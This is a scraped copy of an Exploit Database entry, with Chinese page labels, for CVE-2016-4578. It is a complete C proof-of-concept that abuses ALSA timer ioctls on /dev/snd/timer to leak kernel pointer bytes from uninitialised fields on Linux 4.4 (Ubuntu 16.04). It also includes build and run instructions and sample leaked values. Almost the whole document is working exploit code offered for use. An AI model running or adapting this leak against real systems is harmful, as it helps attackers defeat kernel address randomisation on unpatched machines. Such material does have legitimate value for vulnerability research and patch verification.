Linux Kernel 4.4 (Ubuntu 16.04) – ‘snd_timer_user_ccallback()’ Kernel Pointer Leak

• Exploit Database
• 104 阅读

• 作者： wally0813
  日期： 2019-03-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46529/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138

  #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sys/syscall.h> #include <asm/unistd_64.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sound/asound.h>   # Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()   # Google Dork: -   # Date: 2019-03-11   # Exploit Author: wally0813   # Vendor Homepage: -   # Software Link: -   # Version: Linux Kernel 4.4 (Ubuntu 16.04)   # Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux   # CVE: CVE-2016-4578   # Category: Local       /* * [ Briefs ] *- If snd_timer_user_ccallback() doesn&apos;t initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read() *- This is local exploit against the CVE-2016-4578. * * [ Tested version ] *- 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux * * [ Prerequisites ] *- * * [ Goal ] *- Leak 4 bytes kernel pointer address using snd_timer_user_ccallback() * * [ Run exploit ] *- $ gcc -o poc poc.c *- $ sudo ./poc *leak_value(event) : ffff8800 *leak_value(val) : ffffffff * * [ Contact ] *- soyeoni0813@gmail.com */       int fd;   void leak(){   struct snd_timer_tread td; struct snd_timer_select st; struct snd_timer_params ps; int r; unsigned int leak_value_e, leak_value_v; int tread;   memset(&td,0,sizeof(td)); memset(&st,0,sizeof(st)); memset(&ps,0,sizeof(ps));     // set tread tread = 1; ps.filter |= 1<<SNDRV_TIMER_EVENT_START; ps.ticks = 1000 * 1000;   r = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread); if (r) { printf("SNDRV_TIMER_IOCTL_TREAD error : %d, %s\n", errno, strerror(errno)); return; }     // vuln trigger st.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL; st.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION; r = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st); if (r) { printf("SNDRV_TIMER_IOCTL_SELECT error : %d, %s\n", errno, strerror(errno)); return; }   r = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps); if (r) { printf("SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\n", errno, strerror(errno)); return; }   r = ioctl(fd, SNDRV_TIMER_IOCTL_START); if (r) { printf("SNDRV_TIMER_IOCTL_START error : %d, %s\n", errno, strerror(errno)); return; }     // get leak r = read(fd, &td, sizeof(td)); leak_value_e = *((unsigned long *)(&td.event+1)); printf("leak_value(event) : %lx\n", leak_value_e);   leak_value_v = *((unsigned long *)(&td.val+1)); printf("leak_value(val) : %lx\n", leak_value_v);   }   int main(int argc, char **argv) { fd = open("/dev/snd/timer", O_RDWR);   if (fd < 0) { printf("open error : %d, %s\n", errno, strerror(errno)); return -1; }   leak(); close(fd); return 0; }